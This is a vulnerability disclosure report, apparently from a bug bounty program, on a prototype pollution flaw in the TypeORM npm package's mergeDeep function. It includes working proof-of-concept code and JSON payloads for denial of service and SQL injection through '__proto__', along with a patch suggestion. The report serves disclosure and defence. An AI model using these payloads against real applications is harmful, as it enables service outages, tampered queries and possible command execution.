Node.js third-party modules · Report #869574
SQL Injection or Denial of Service due to a Prototype Pollution
How it was found
I would like to report a prototype pollution vulnerability in the typeorm package.
It allows an attacker that is able to save a specially crafted object to pollute the Object prototype and cause side effects on the library/application logic, such as denials of service attacks and/or SQL injections, by adding arbitrary properties to any object in the runtime. If the end application depending on the library has dynamic code evaluation or command execution gadgets, the attacker can potentially trigger arbitrary command execution on the target machine.
Module
module name: TypeORM version: v0.2.24, latest npm page: https://www.npmjs.com/package/typeorm
Module Description
TypeORM is an ORM that can run in NodeJS, Browser, Cordova, PhoneGap, Ionic, React Native, NativeScript, Expo, and Electron platforms and can be used with TypeScript and JavaScript (ES5, ES6, ES7, ES8). Its goal is to always support the latest JavaScript features and provide additional features that help you to develop any kind of application that uses databases - from small applications with a few tables to large scale enterprise applications with multiple databases.
Module Stats
[1] weekly downloads: 385,403
Vulnerability
Vulnerability Description
The vulnerability was found after a source code review of the library on GitHub. In particular, the following snippet of code can be found in OrmUtils.ts:
/**
* Deep Object.assign.
*
* @see http://stackoverflow.com/a/34749873
*/
function mergeDeep(target, ...sources) {
if (!sources.length) return target;
const source = sources.shift();
if (isObject(target) && isObject(source)) {
for (const key in source) {
const value = source[key];
if (value instanceof Promise)
continue;
if (isObject(value)
&& !(value instanceof Map)
&& !(value instanceof Set)
&& !(value instanceof Date)
&& !(value instanceof Buffer)
&& !(value instanceof RegExp)
&& !(value instanceof URL)) {
if (!target[key])
Object.assign(target, { [key]: Object.create(Object.getPrototypeOf(value)) });
mergeDeep(target[key], value);
} else {
Object.assign(target, { [key]: value });
}
}
}
return mergeDeep(target, ...sources);
}
The mentioned function, as we can see from the code, doesn't account for built-in properties such as __proto__, causing pollution of the Object prototype when a specially crafted object is passed in the rest argument ...sources.
Steps To Reproduce:
To test if the function is vulnerable we can run the following proof of concept to confirm that in some situations we can control at least one element in the rest argument and we can trigger the pollution of Object prototype with arbitrary properties.
pollution.js
function isObject(item) {
return (item && typeof item === "object" && !Array.isArray(item));
}
/**
* Deep Object.assign.
*
* @see http://stackoverflow.com/a/34749873
*/
function mergeDeep(target, ...sources) {
if (!sources.length) return target;
const source = sources.shift();
if (isObject(target) && isObject(source)) {
for (const key in source) {
const value = source[key];
if (value instanceof Promise)
continue;
if (isObject(value)
&& !(value instanceof Map)
&& !(value instanceof Set)
&& !(value instanceof Date)
&& !(value instanceof Buffer)
&& !(value instanceof RegExp)
&& !(value instanceof URL)) {
if (!target[key])
Object.assign(target, { [key]: Object.create(Object.getPrototypeOf(value)) });
mergeDeep(target[key], value);
} else {
Object.assign(target, { [key]: value });
}
}
}
return mergeDeep(target, ...sources);
}
const a = {}
const b = JSON.parse(`{"__proto__":{"polluted":true}}`)
mergeDeep(a, b)
console.log(`pwned: ${({}).polluted}`)
Exploitation
By naively exploiting the vulnerability, we can cause a denial of service in the running application, for example by causing a loop in the prototype chain as in the following payload:
const post = JSON.parse(`{"text":"a","title":{"__proto__":{"polluted":{}}}}`)
An SQL injection can be triggered with the following payload, that will add an arbitary WHERE clause to any following query:
const post = JSON.parse(`{"text":"a","title":{"__proto__":{"where":{"name":"sqlinjection","where":null}}}}`)
A complete proof of concept that can trigger a SQL injection by only depending on the library code is reported here:
(based on https://github.com/typeorm/typescript-example) sqli.ts
import { createConnection, getConnection } from "typeorm";
import { Post } from "./entity/Post";
import { Category } from "./entity/Category";
async function cleanUp() {
await createConnection("mongo")
await createConnection("mysql")
const mongoConnection = getConnection("mongo")
const mysqlConnection = getConnection("mysql")
await mongoConnection.dropDatabase()
await mysqlConnection.dropDatabase()
await mongoConnection.close()
await mysqlConnection.close()
}
async function main() {
await cleanUp()
await createConnection("mongo")
await createConnection("mysql")
const mongoConnection = getConnection("mongo")
const mysqlConnection = getConnection("mysql")
const post = JSON.parse(`{"text":"a","title":{"__proto__":{"where":{"name":"sqlinjection","where":null}}}}`)
try {
await mongoConnection.manager.save(Post, post)
console.log("Post has been saved: ", post)
const saved = await mongoConnection.manager.find(Post)
console.log("Posts were found: ", saved)
} catch (err) {
console.error(err)
const category = new Category()
category.name = 'category'
await mysqlConnection.manager.save(Category, category)
const categories = await mysqlConnection.manager.find(Category, {}) // WHERE name = "sqlinjection"
console.log("Categories were found: ", categories)
}
}
main().catch(error => console.log("Error: ", error))
Patch
The function mergeDeep has to account for prototype pollution attacks by skipping built-in properties such as __proto__. (e.g. https://github.com/jquery/jquery/commit/753d591aea698e57d6db58c9f722cd0808619b1b)
Wrap up
Select Y or N for the following statements:
- I contacted the maintainer to let them know: N
- I opened an issue in the related repository: N
Hunter's comments and funny memes go here
Impact
An attacker can achieve denials of service attacks and/or alter the application logic to cause SQL injections by only depending on the library code. If any useful gadget to trigger an arbitrary code/command execution is also available in the end-user application and the path can be reached with user interaction, the attacker can also achieve arbitrary command execution on the target system.